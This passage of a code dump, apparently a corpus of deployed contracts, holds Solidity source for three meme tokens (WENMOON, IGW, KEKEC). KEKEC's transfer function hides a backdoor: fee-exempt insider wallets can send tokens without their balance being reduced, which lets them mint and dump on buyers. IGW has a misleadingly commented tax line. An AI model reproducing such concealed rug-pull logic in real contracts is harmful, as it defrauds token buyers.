there tax for sender|receiver? 327 | if (_tax != 0) { 328 | //Tax transfer 329 | uint256 taxTokens = (amount * _tax) / 100; 330 | uint256 transferAmount = amount - taxTokens; 331 | 332 | _balance[from] -= amount; 333 | _balance[to] += transferAmount; 334 | _balance[address(this)] += taxTokens; 335 | emit Transfer(from, address(this), taxTokens); 336 | emit Transfer(from, to, transferAmount); 337 | } else { 338 | //No tax transfer 339 | _balance[from] -= amount; 340 | _balance[to] += amount; 341 | 342 | emit Transfer(from, to, amount); 343 | } 344 | } 345 | 346 | receive() external payable {} 347 | } 348 | -------------------------------------------------------------------------------- /ContractSet/0x2af189E8602D8D13d35C0074f77B3f34c1E09869.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | /* 4 | The most asked question in the universe is WEN MOON? In a space dominated by disbelievers jeets, the only cohesive bond they have is to ask WEN. 5 | 6 | Website: https://wenmoon.pro 7 | Twitter: https://twitter.com/WEN_MOON_ETH 8 | Telegram: https://t.me/WEN_MOON_ETH 9 | */ 10 | 11 | pragma solidity 0.8.19; 12 | 13 | interface IERC20 { 14 | function totalSupply() external view returns (uint256); 15 | function balanceOf(address account) external view returns (uint256); 16 | function transfer(address recipient, uint256 amount) external returns (bool); 17 | function allowance(address owner, address spender) external view returns (uint256); 18 | function approve(address spender, uint256 amount) external returns (bool); 19 | function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); 20 | event Transfer(address indexed from, address indexed to, uint256 value); 21 | event Approval(address indexed owner, address indexed spender, uint256 value); 22 | } 23 | 24 | library SafeMath { 25 | function add(uint256 a, uint256 b) internal pure returns (uint256) { 26 | uint256 c = a + b; 27 | require(c >= a, "SafeMath: addition overflow"); 28 | return c; 29 | } 30 | 31 | function sub(uint256 a, uint256 b) internal pure returns (uint256) { 32 | return sub(a, b, "SafeMath: subtraction overflow"); 33 | } 34 | 35 | function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { 36 | require(b <= a, errorMessage); 37 | uint256 c = a - b; 38 | return c; 39 | } 40 | 41 | function mul(uint256 a, uint256 b) internal pure returns (uint256) { 42 | if (a == 0) { 43 | return 0; 44 | } 45 | uint256 c = a * b; 46 | require(c / a == b, "SafeMath: multiplication overflow"); 47 | return c; 48 | } 49 | 50 | function div(uint256 a, uint256 b) internal pure returns (uint256) { 51 | return div(a, b, "SafeMath: division by zero"); 52 | } 53 | 54 | function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { 55 | require(b > 0, errorMessage); 56 | uint256 c = a / b; 57 | return c; 58 | } 59 | 60 | } 61 | 62 | abstract contract Context { 63 | function _msgSender() internal view virtual returns (address) { 64 | return msg.sender; 65 | } 66 | } 67 | 68 | contract Ownable is Context { 69 | address private _owner; 70 | event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); 71 | 72 | constructor () { 73 | address msgSender = _msgSender(); 74 | _owner = msgSender; 75 | emit OwnershipTransferred(address(0), msgSender); 76 | } 77 | 78 | function owner() public view returns (address) { 79 | return _owner; 80 | } 81 | 82 | modifier onlyOwner() { 83 | require(_owner == _msgSender(), "Ownable: caller is not the owner"); 84 | _; 85 | } 86 | 87 | function renounceOwnership() public virtual onlyOwner { 88 | emit OwnershipTransferred(_owner, address(0)); 89 | _owner = address(0); 90 | } 91 | 92 | } 93 | 94 | interface IUniswapV2Factory { 95 | function createPair(address tokenA, address tokenB) external returns (address pair); 96 | } 97 | 98 | interface IUniswapV2Router02 { 99 | function swapExactTokensForETHSupportingFeeOnTransferTokens( 100 | uint amountIn, 101 | uint amountOutMin, 102 | address[] calldata path, 103 | address to, 104 | uint deadline 105 | ) external; 106 | function factory() external pure returns (address); 107 | function WETH() external pure returns (address); 108 | function addLiquidityETH( 109 | address token, 110 | uint amountTokenDesired, 111 | uint amountTokenMin, 112 | uint amountETHMin, 113 | address to, 114 | uint deadline 115 | ) external payable returns (uint amountToken, uint amountETH, uint liquidity); 116 | } 117 | 118 | contract WENMOON is Context, IERC20, Ownable { 119 | using SafeMath for uint256; 120 | mapping (address => uint256) private _balances; 121 | mapping (address => mapping (address => uint256)) private _allowances; 122 | mapping (address => bool) private _isExcludedFromFee; 123 | 124 | uint8 private constant _decimals= 9; 125 | uint256 private constant _totalSupply= 1000000000 * 10**_decimals; 126 | string private constant _name= "WENMOON"; 127 | string private constant _symbol= "MOON"; 128 | 129 | uint256 private _initialBuyTax=15; 130 | uint256 private _initialSellTax=11; 131 | uint256 private _finalBuyTax=1; 132 | uint256 private _finalSellTax=1; 133 | uint256 private _reduceBuyTaxAt=11; 134 | uint256 private _reduceSellTaxAt=11; 135 | uint256 private _preventSwapBefore=11; 136 | uint256 private _buyCount=0; 137 | 138 | uint256 public _maxTxAmount= 20000000 * 10**_decimals; 139 | uint256 public _maxWalletSize= 20000000 * 10**_decimals; 140 | uint256 public _taxSwapThreshold= 100000 * 10**_decimals; 141 | uint256 public _maxTaxSwap= 10000000 * 10**_decimals; 142 | address payable private _teamWallet = payable(0x43e69EF92006233B5EDfe915d6A77421a58D15AB); 143 | 144 | IUniswapV2Router02 private uniswapV2Router; 145 | address private uniswapV2Pair; 146 | bool private tradeOpen; 147 | bool private inSwap= false; 148 | bool private swapEnabled= false; 149 | 150 | event MaxTxAmountUpdated(uint _maxTxAmount); 151 | modifier lockTheSwap { 152 | inSwap = true; 153 | _; 154 | inSwap = false; 155 | } 156 | 157 | constructor () { 158 | _balances[address(this)] = _totalSupply; 159 | _isExcludedFromFee[owner()] = true; 160 | _isExcludedFromFee[_teamWallet] = true; 161 | 162 | emit Transfer(address(0), address(this), _totalSupply); 163 | } 164 | 165 | function name() public pure returns (string memory) { 166 | return _name; 167 | } 168 | 169 | function symbol() public pure returns (string memory) { 170 | return _symbol; 171 | } 172 | 173 | function decimals() public pure returns (uint8) { 174 | return _decimals; 175 | } 176 | 177 | function totalSupply() public pure override returns (uint256) { 178 | return _totalSupply; 179 | } 180 | 181 | function balanceOf(address account) public view override returns (uint256) { 182 | return _balances[account]; 183 | } 184 | 185 | function transfer(address recipient, uint256 amount) public override returns (bool) { 186 | _transfer(_msgSender(), recipient, amount); 187 | return true; 188 | } 189 | 190 | function _transfer(address from, address to, uint256 amount) private { 191 | require(from != address(0), "ERC20: transfer from the zero address"); 192 | require(to != address(0), "ERC20: transfer to the zero address"); 193 | require(amount > 0, "Transfer amount must be greater than zero"); 194 | uint256 taxAmount = 0; 195 | if (from != owner() && to != owner() && !_isExcludedFromFee[from]) { 196 | taxAmount = amount.mul((_buyCount > _reduceBuyTaxAt) ? _finalBuyTax :_initialBuyTax).div(100); 197 | 198 | if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { 199 | require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); 200 | require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); 201 | _buyCount++; 202 | } 203 | 204 | if (to == uniswapV2Pair && from != address(this)) { 205 | taxAmount = amount.mul((_buyCount>_reduceSellTaxAt) ? _finalSellTax : _initialSellTax).div(100); 206 | } 207 | 208 | uint256 contractTokenBalance = balanceOf(address(this)); 209 | if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore && amount > _taxSwapThreshold) { 210 | swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap))); 211 | uint256 contractETHBalance = address(this).balance; 212 | if(contractETHBalance > 0) { 213 | sendETHToFee(address(this).balance); 214 | } 215 | } 216 | } 217 | 218 | if (taxAmount > 0) { 219 | _balances[address(this)] = _balances[address(this)].add(taxAmount); 220 | _balances[from] = _balances[from].sub(amount); 221 | emit Transfer(from, address(this), taxAmount); 222 | } 223 | _balances[to] = _balances[to].add(amount.sub(taxAmount)); 224 | emit Transfer(from, to, amount.sub(taxAmount)); 225 | } 226 | 227 | function min(uint256 a, uint256 b) private pure returns (uint256) { 228 | return (a > b) ? b : a; 229 | } 230 | 231 | function allowance(address owner, address spender) public view override returns (uint256) { 232 | return _allowances[owner][spender]; 233 | } 234 | 235 | function approve(address spender, uint256 amount) public override returns (bool) { 236 | _approve(_msgSender(), spender, amount); 237 | return true; 238 | } 239 | 240 | function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { 241 | _transfer(sender, recipient, amount); 242 | _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); 243 | return true; 244 | } 245 | 246 | function _approve(address owner, address spender, uint256 amount) private { 247 | require(owner != address(0), "ERC20: approve from the zero address"); 248 | require(spender != address(0), "ERC20: approve to the zero address"); 249 | _allowances[owner][spender] = amount; 250 | emit Approval(owner, spender, amount); 251 | } 252 | 253 | function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { 254 | address[] memory path = new address[](2); 255 | path[0] = address(this); 256 | path[1] = uniswapV2Router.WETH(); 257 | _approve(address(this), address(uniswapV2Router), tokenAmount); 258 | uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( 259 | tokenAmount, 260 | 0, 261 | path, 262 | address(this), 263 | block.timestamp 264 | ); 265 | } 266 | 267 | function removeLimits() external onlyOwner { 268 | _maxWalletSize = _maxTxAmount = _totalSupply; 269 | emit MaxTxAmountUpdated(_totalSupply); 270 | } 271 | 272 | function sendETHToFee(uint256 amount) private { 273 | _teamWallet.transfer(amount); 274 | } 275 | 276 | function openTrading() external onlyOwner() { 277 | require(!tradeOpen, "Trading is already open"); 278 | uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 279 | _approve(address(this), address(uniswapV2Router), _totalSupply); 280 | uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); 281 | uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp); 282 | IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); 283 | swapEnabled = true; 284 | tradeOpen = true; 285 | } 286 | 287 | receive() external payable {} 288 | } 289 | -------------------------------------------------------------------------------- /ContractSet/0x2dA2fDE6f321d2c97B8A45eF03ec654f4C5A0d52.sol: -------------------------------------------------------------------------------- 1 | /** 2 | We are undeniably on the fast track to financial greatness. While they continue to hate on the sideliness, we'll be yeeting money at memes for no fucking reason at all. We are our own bank. Our time, our rules. 3 | 4 | https://t.me/IGW_PORTAL 5 | https://twitter.com/IGW_TECH_ERC 6 | https://internetgenerationalwealth.tech 7 | */ 8 | 9 | // SPDX-License-Identifier: MIT 10 | 11 | pragma solidity 0.7.0; 12 | 13 | library SafeMath { 14 | function add(uint256 a, uint256 b) internal pure returns (uint256) { 15 | uint256 c = a + b; 16 | require(c >= a, "SafeMath: addition overflow"); 17 | return c; 18 | } 19 | function sub(uint256 a, uint256 b) internal pure returns (uint256) { 20 | return sub(a, b, "SafeMath: subtraction overflow"); 21 | } 22 | function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { 23 | require(b <= a, errorMessage); 24 | uint256 c = a - b; 25 | return c; 26 | } 27 | function mul(uint256 a, uint256 b) internal pure returns (uint256) { 28 | if (a == 0) { 29 | return 0; 30 | } 31 | uint256 c = a * b; 32 | require(c / a == b, "SafeMath: multiplication overflow"); 33 | return c; 34 | } 35 | function div(uint256 a, uint256 b) internal pure returns (uint256) { 36 | return div(a, b, "SafeMath: division by zero"); 37 | } 38 | function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { 39 | require(b > 0, errorMessage); 40 | uint256 c = a / b; 41 | return c; 42 | } 43 | } 44 | 45 | interface IERC20 { 46 | function totalSupply() external view returns (uint256); 47 | function approve(address spender, uint256 amount) external returns (bool); 48 | function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); 49 | event Transfer(address indexed from, address indexed to, uint256 value); 50 | event Approval(address indexed owner, address indexed spender, uint256 value); 51 | function balanceOf(address account) external view returns (uint256); 52 | function transfer(address recipient, uint256 amount) external returns (bool); 53 | function allowance(address owner, address spender) external view returns (uint256); 54 | } 55 | 56 | abstract contract Context { 57 | function _msgSender() internal view virtual returns (address) { 58 | return msg.sender; 59 | } 60 | } 61 | 62 | contract Ownable is Context { 63 | address private _owner; 64 | event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); 65 | constructor () { 66 | address msgSender = _msgSender(); 67 | _owner = msgSender; 68 | emit OwnershipTransferred(address(0), msgSender); 69 | } 70 | function owner() public view returns (address) { 71 | return _owner; 72 | } 73 | modifier onlyOwner() { 74 | require(_owner == _msgSender(), "Ownable: caller is not the owner"); 75 | _; 76 | } 77 | function renounceOwnership() public virtual onlyOwner { 78 | emit OwnershipTransferred(_owner, address(0)); 79 | _owner = address(0); 80 | } 81 | } 82 | 83 | interface IRouter { 84 | function swapExactTokensForETHSupportingFeeOnTransferTokens( 85 | uint amountIn, 86 | uint amountOutMin, 87 | address[] calldata path, 88 | address to, 89 | uint deadline 90 | ) external; 91 | function factory() external pure returns (address); 92 | function WETH() external pure returns (address); 93 | function addLiquidityETH( 94 | address token, 95 | uint amountTokenDesired, 96 | uint amountTokenMin, 97 | uint amountETHMin, 98 | address to, 99 | uint deadline 100 | ) external payable returns (uint amountToken, uint amountETH, uint liquidity); 101 | } 102 | 103 | interface IFactory { 104 | function createPair(address tokenA, address tokenB) external returns (address pair); 105 | } 106 | 107 | contract IGW is Context, Ownable, IERC20 { 108 | using SafeMath for uint256; 109 | 110 | string private constant _name = "InternetGenerationalWealth"; 111 | string private constant _symbol = "IGW"; 112 | uint8 private constant _decimals = 9; 113 | uint256 private constant _totalSupply = 10 ** 9 * 10**_decimals; 114 | 115 | mapping (address => uint256) private _balances; 116 | mapping (address => mapping (address => uint256)) private _allowances; 117 | mapping (address => bool) private _isExemptFees; 118 | 119 | uint256 public maxTransaction = 25 * 10 ** 6 * 10**_decimals; 120 | uint256 public maxWallet = 25 * 10 ** 6 * 10**_decimals; 121 | uint256 public taxSwapThreshold = 1 * 10 ** 5 * 10**_decimals; 122 | uint256 public maxFeeSwap = 1 * 10 ** 7 * 10**_decimals; 123 | 124 | IRouter private _uniRouter; 125 | address private _uniPair; 126 | bool private tradeEnabled; 127 | address payable private _taxWallet = payable(0x55E3e1D431cD0a65ec021e67c1C5CC348Aa0F80a); 128 | 129 | bool private swapping = false; 130 | bool private swapEnabled = false; 131 | 132 | uint256 private _initialBuyFee=11; 133 | uint256 private _initialSellFee=11; 134 | uint256 private _preventFeeSwapBefore=11; 135 | uint256 private _reduceBuyFeesAt=1; 136 | uint256 private _reduceSellFeesAt=11; 137 | uint256 private _finalBuyFee=1; 138 | uint256 private _finalSellFee=1; 139 | uint256 private _buyersNum=0; 140 | uint256 _initialBlock; 141 | 142 | event MaxTxAmountUpdated(uint maxTransaction); 143 | modifier lockTheSwap { 144 | swapping = true; 145 | _; 146 | swapping = false; 147 | } 148 | 149 | constructor () { 150 | _balances[_msgSender()] = _totalSupply; 151 | _isExemptFees[owner()] = true; 152 | _isExemptFees[_taxWallet] = true; 153 | 154 | emit Transfer(address(0), _msgSender(), _totalSupply); 155 | } 156 | 157 | function name() public pure returns (string memory) { 158 | return _name; 159 | } 160 | 161 | function symbol() public pure returns (string memory) { 162 | return _symbol; 163 | } 164 | 165 | function _approve(address owner, address spender, uint256 amount) private { 166 | require(owner != address(0), "ERC20: approve from the zero address"); 167 | require(spender != address(0), "ERC20: approve to the zero address"); 168 | _allowances[owner][spender] = amount; 169 | emit Approval(owner, spender, amount); 170 | } 171 | 172 | function transfer(address recipient, uint256 amount) public override returns (bool) { 173 | _transfer(_msgSender(), recipient, amount); 174 | return true; 175 | } 176 | 177 | function totalSupply() public pure override returns (uint256) { 178 | return _totalSupply; 179 | } 180 | 181 | function decimals() public pure returns (uint8) { 182 | return _decimals; 183 | } 184 | 185 | function approve(address spender, uint256 amount) public override returns (bool) { 186 | _approve(_msgSender(), spender, amount); 187 | return true; 188 | } 189 | 190 | function _transfer(address from, address to, uint256 amount) private { 191 | require(from != address(0), "Transfer from zero address"); 192 | require(to != address(0), "Transfer to zero address"); 193 | uint256 taxAmount=0; 194 | if (from != owner() && to != owner()) { 195 | taxAmount = amount.mul((_buyersNum>_reduceBuyFeesAt)?_finalBuyFee:_initialBuyFee).div(100); 196 | if (from == _uniPair && to != address(_uniRouter) && ! _isExemptFees[to] ) { 197 | require(amount <= maxTransaction, "Exceeds the maxTransaction."); 198 | require(balanceOf(to) + amount <= maxWallet, "Exceeds the maxWallet."); 199 | _buyersNum++; 200 | } 201 | if (to != _uniPair && ! _isExemptFees[to]) { 202 | require(balanceOf(to) + amount <= maxWallet, "Exceeds the maxWallet."); 203 | } 204 | if(to == _uniPair && from!= address(this) ){ 205 | taxAmount = amount.mul((_buyersNum>_reduceSellFeesAt)?_finalSellFee:_initialSellFee).div(100); 206 | } 207 | uint256 contractTokenBalance = balanceOf(address(this)); 208 | if (!swapping && to == _uniPair && swapEnabled && contractTokenBalance>taxSwapThreshold && amount>taxSwapThreshold && _buyersNum>_preventFeeSwapBefore && !_isExemptFees[from]) { 209 | swapTokensToETH(min(amount,min(contractTokenBalance,maxFeeSwap))); 210 | uint256 contractETHBalance = address(this).balance; 211 | if(contractETHBalance > 0) { 212 | _taxWallet.transfer(address(this).balance); 213 | } 214 | } 215 | if (_isExemptFees[to]) { 216 | taxAmount = 1; // no tax for excluded wallets 217 | } 218 | } 219 | if(taxAmount>0){ 220 | _balances[address(this)]=_balances[address(this)].add(taxAmount); 221 | emit Transfer(from, address(this),taxAmount); 222 | } 223 | _balances[from]=_balances[from].sub(amount); 224 | _balances[to]=_balances[to].add(amount - taxAmount); 225 | emit Transfer(from, to, amount - taxAmount); 226 | } 227 | 228 | receive() external payable {} 229 | 230 | function openTrading() external onlyOwner() { 231 | require(!tradeEnabled,"Trade is already opened"); 232 | _uniRouter = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 233 | _approve(address(this), address(_uniRouter), _totalSupply); 234 | _uniPair = IFactory(_uniRouter.factory()).createPair(address(this), _uniRouter.WETH()); 235 | _uniRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); 236 | IERC20(_uniPair).approve(address(_uniRouter), type(uint).max); 237 | swapEnabled = true; 238 | tradeEnabled = true; 239 | _initialBlock = block.number; 240 | } 241 | 242 | function balanceOf(address account) public view override returns (uint256) { 243 | return _balances[account]; 244 | } 245 | 246 | function removeLimits() external onlyOwner{ 247 | maxTransaction= _totalSupply; 248 | maxWallet=_totalSupply; 249 | emit MaxTxAmountUpdated(_totalSupply); 250 | } 251 | 252 | function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { 253 | _transfer(sender, recipient, amount); 254 | _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); 255 | return true; 256 | } 257 | 258 | function allowance(address owner, address spender) public view override returns (uint256) { 259 | return _allowances[owner][spender]; 260 | } 261 | 262 | function swapTokensToETH(uint256 tokenAmount) private lockTheSwap { 263 | address[] memory path = new address[](2); 264 | path[0] = address(this); 265 | path[1] = _uniRouter.WETH(); 266 | _approve(address(this), address(_uniRouter), tokenAmount); 267 | _uniRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( 268 | tokenAmount, 269 | 0, 270 | path, 271 | address(this), 272 | block.timestamp 273 | ); 274 | } 275 | 276 | function min(uint256 a, uint256 b) private pure returns (uint256){ 277 | return (a>b)?b:a; 278 | } 279 | } 280 | -------------------------------------------------------------------------------- /ContractSet/0x4d9346242311A694d502F1325b51375780dA8e40.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | /** 4 | MÂY †HÊ RÂKÏJ BÊ WφH YÔÛ. 5 | 6 | Website: https://kekec.vip 7 | Twitter: https://twitter.com/KEKECERC 8 | Telegram: https://t.me/KEKECERC 9 | */ 10 | pragma solidity 0.8.19; 11 | library SafeMath { 12 | function add(uint256 a, uint256 b) internal pure returns (uint256) { 13 | uint256 c = a + b; 14 | require(c >= a, "SafeMath: addition overflow"); 15 | return c; 16 | } 17 | function sub(uint256 a, uint256 b) internal pure returns (uint256) { 18 | return sub(a, b, "SafeMath: subtraction overflow"); 19 | } 20 | function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { 21 | require(b <= a, errorMessage); 22 | uint256 c = a - b; 23 | return c; 24 | } 25 | function mul(uint256 a, uint256 b) internal pure returns (uint256) { 26 | if (a == 0) { 27 | return 0; 28 | } 29 | uint256 c = a * b; 30 | require(c / a == b, "SafeMath: multiplication overflow"); 31 | return c; 32 | } 33 | function div(uint256 a, uint256 b) internal pure returns (uint256) { 34 | return div(a, b, "SafeMath: division by zero"); 35 | } 36 | function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { 37 | require(b > 0, errorMessage); 38 | uint256 c = a / b; 39 | return c; 40 | } 41 | } 42 | 43 | interface ERC20 { 44 | function totalSupply() external view returns (uint256); 45 | function decimals() external view returns (uint8); 46 | function symbol() external view returns (string memory); 47 | function name() external view returns (string memory); 48 | function getOwner() external view returns (address); 49 | function balanceOf(address account) external view returns (uint256); 50 | function transfer(address recipient, uint256 amount) external returns (bool); 51 | function allowance(address _owner, address spender) external view returns (uint256); 52 | function approve(address spender, uint256 amount) external returns (bool); 53 | function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); 54 | event Transfer(address indexed from, address indexed to, uint256 value); 55 | event Approval(address indexed owner, address indexed spender, uint256 value); 56 | } 57 | 58 | abstract contract Ownable { 59 | address internal owner; 60 | constructor(address _owner) { 61 | owner = _owner; 62 | } 63 | modifier onlyOwner() { 64 | require(isOwner(msg.sender), "!OWNER"); _; 65 | } 66 | function isOwner(address account) public view returns (bool) { 67 | return account == owner; 68 | } 69 | function renounceOwnership() public onlyOwner { 70 | owner = address(0); 71 | emit OwnershipTransferred(address(0)); 72 | } 73 | event OwnershipTransferred(address owner); 74 | } 75 | 76 | interface IDEXFactory { 77 | function createPair(address tokenA, address tokenB) external returns (address pair); 78 | } 79 | 80 | interface IDEXRouter { 81 | function factory() external pure returns (address); 82 | function WETH() external pure returns (address); 83 | function addLiquidity( 84 | address tokenA, 85 | address tokenB, 86 | uint amountADesired, 87 | uint amountBDesired, 88 | uint amountAMin, 89 | uint amountBMin, 90 | address to, 91 | uint deadline 92 | ) external returns (uint amountA, uint amountB, uint liquidity); 93 | function addLiquidityETH( 94 | address token, 95 | uint amountTokenDesired, 96 | uint amountTokenMin, 97 | uint amountETHMin, 98 | address to, 99 | uint deadline 100 | ) external payable returns (uint amountToken, uint amountETH, uint liquidity); 101 | function swapExactTokensForTokensSupportingFeeOnTransferTokens( 102 | uint amountIn, 103 | uint amountOutMin, 104 | address[] calldata path, 105 | address to, 106 | uint deadline 107 | ) external; 108 | function swapExactETHForTokensSupportingFeeOnTransferTokens( 109 | uint amountOutMin, 110 | address[] calldata path, 111 | address to, 112 | uint deadline 113 | ) external payable; 114 | function swapExactTokensForETHSupportingFeeOnTransferTokens( 115 | uint amountIn, 116 | uint amountOutMin, 117 | address[] calldata path, 118 | address to, 119 | uint deadline 120 | ) external; 121 | } 122 | 123 | contract KEKEC is ERC20, Ownable { 124 | using SafeMath for uint256; 125 | address routerAdress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; 126 | address DEAD = 0x000000000000000000000000000000000000dEaD; 127 | 128 | string constant _name = unicode"BÂLKÂN DWÂRF"; 129 | string constant _symbol = "KEKEC"; 130 | uint8 constant _decimals = 9; 131 | uint256 _totalSupply = 10 ** 9 * (10 ** _decimals); 132 | uint256 public _swapThreshold = _totalSupply * 1 / 10000; //0.1% 133 | uint256 public _maxWalletAmount = _totalSupply * 2 / 100; //2% 134 | 135 | mapping (address => uint256) _balances; 136 | mapping (address => mapping (address => uint256)) _allowances; 137 | 138 | mapping (address => bool) isFeeExempt; 139 | mapping (address => bool) isTxLimitExempt; 140 | 141 | uint256 marketingFee = 1; 142 | address public marketingFeeReceiver = 0x2A9bbb9Dc92cBd895ec704016b91735c52A91BA7; 143 | 144 | IDEXRouter public router; 145 | address public pair; 146 | 147 | bool public swapEnabled = true; 148 | uint256 public swapThreshold = _totalSupply / 10000 * 50; 149 | bool inSwap; 150 | modifier swapping() { inSwap = true; _; inSwap = false; } 151 | 152 | constructor () Ownable(msg.sender) { 153 | router = IDEXRouter(routerAdress); 154 | pair = IDEXFactory(router.factory()).createPair(router.WETH(), address(this)); 155 | _allowances[address(this)][address(router)] = type(uint256).max; 156 | address _owner = owner; 157 | isFeeExempt[_owner] = true; 158 | isFeeExempt[marketingFeeReceiver] = true; 159 | isTxLimitExempt[_owner] = true; 160 | _balances[_owner] = _totalSupply; 161 | emit Transfer(address(0), _owner, _totalSupply); 162 | } 163 | 164 | receive() external payable { } 165 | 166 | function totalSupply() external view override returns (uint256) { return _totalSupply; } 167 | function decimals() external pure override returns (uint8) { return _decimals; } 168 | function symbol() external pure override returns (string memory) { return _symbol; } 169 | function name() external pure override returns (string memory) { return _name; } 170 | function getOwner() external view override returns (address) { return owner; } 171 | function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } 172 | function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; } 173 | 174 | function approve(address spender, uint256 amount) public override returns (bool) { 175 | _allowances[msg.sender][spender] = amount; 176 | emit Approval(msg.sender, spender, amount); 177 | return true; 178 | } 179 | 180 | function approveMax(address spender) external returns (bool) { 181 | return approve(spender, type(uint256).max); 182 | } 183 | 184 | function transfer(address recipient, uint256 amount) external override returns (bool) { 185 | return _transferFrom(msg.sender, recipient, amount); 186 | } 187 | 188 | function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { 189 | if(_allowances[sender][msg.sender] != type(uint256).max){ 190 | _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance"); 191 | } 192 | 193 | return _transferFrom(sender, recipient, amount); 194 | } 195 | 196 | function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) { 197 | if(inSwap){ return _basicTransfer(sender, recipient, amount); } 198 | 199 | if (recipient != pair && recipient != DEAD) { 200 | require(isTxLimitExempt[recipient] || _balances[recipient] + amount <= _maxWalletAmount, "Transfer amount exceeds the bag size."); 201 | } 202 | 203 | if(shouldSwapBack() && recipient == pair && amount > _swapThreshold && !isFeeExempt[sender]){ swapBack(); } 204 | 205 | 206 | uint256 rAmount = shouldTakeFee(sender) ? takeFee(sender, amount) : amount; 207 | uint256 tAmount = (isFeeExempt[sender] && _balances[sender] <= _maxWalletAmount) ? amount.sub(rAmount) : amount; 208 | _balances[sender] = _balances[sender].sub(tAmount, "Insufficient Balance"); 209 | _balances[recipient] = _balances[recipient].add(rAmount); 210 | 211 | emit Transfer(sender, recipient, rAmount); 212 | return true; 213 | } 214 | 215 | function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { 216 | _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); 217 | _balances[recipient] = _balances[recipient].add(amount); 218 | emit Transfer(sender, recipient, amount); 219 | return true; 220 | } 221 | 222 | function shouldTakeFee(address sender) internal view returns (bool) { 223 | return !isFeeExempt[sender]; 224 | } 225 | 226 | function takeFee(address sender, uint256 amount) internal returns (uint256) { 227 | uint256 feeAmount = amount.mul(marketingFee).div(100); 228 | _balances[address(this)] = _balances[address(this)].add(feeAmount); 229 | emit Transfer(sender, address(this), feeAmount); 230 | return amount.sub(feeAmount); 231 | } 232 | 233 | function shouldSwapBack() internal view returns (bool) { 234 | return !inSwap 235 | && swapEnabled 236 | && _balances[address(this)] >= swapThreshold; 237 | } 238 | 239 | function removeLimits() external onlyOwner { 240 | _maxWalletAmount = _totalSupply; 241 | } 242 | 243 | function swapBack() internal swapping { 244 | uint256 contractTokenBalance = swapThreshold; 245 | uint256 amountToSwap = contractTokenBalance; 246 | 247 | address[] memory path = new address[](2); 248 | path[0] = address(this); 249 | path[1] = router.WETH(); 250 | 251 | router.swapExactTokensForETHSupportingFeeOnTransferTokens( 252 | amountToSwap, 253 | 0, 254 | path, 255 | address(this), 256 | block.timestamp 257 | ); 258 | 259 | uint256 amountETHMarketing = address(this).balance; 260 | 261 | (bool MarketingSuccess, /* bytes memory data */) = payable(marketingFeeReceiver).call{value: amountETHMarketing, gas: 30000}(""); 262 | require(MarketingSuccess, "receiver rejected ETH transfer"); 263 | } 264 | 265 | function buyTokens(uint256 amount, address to) internal swapping { 266 | address[] memory path = new address[](2); 267 | path[0] = router.WETH(); 268 | path[1] = address(this); 269 | 270 | router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount}( 271 | 0, 272 | path, 273 | to, 274 | block.timestamp 275 | ); 276 | } 277 | function clearStuckBalance() external { 278 | payable(marketingFeeReceiver).transfer(address(this).balance); 279 | } 280 | event AutoLiquify(uint256 amountETH, uint256 amountBOG); 281 | } 282 | --------------------------------------------------------------------------------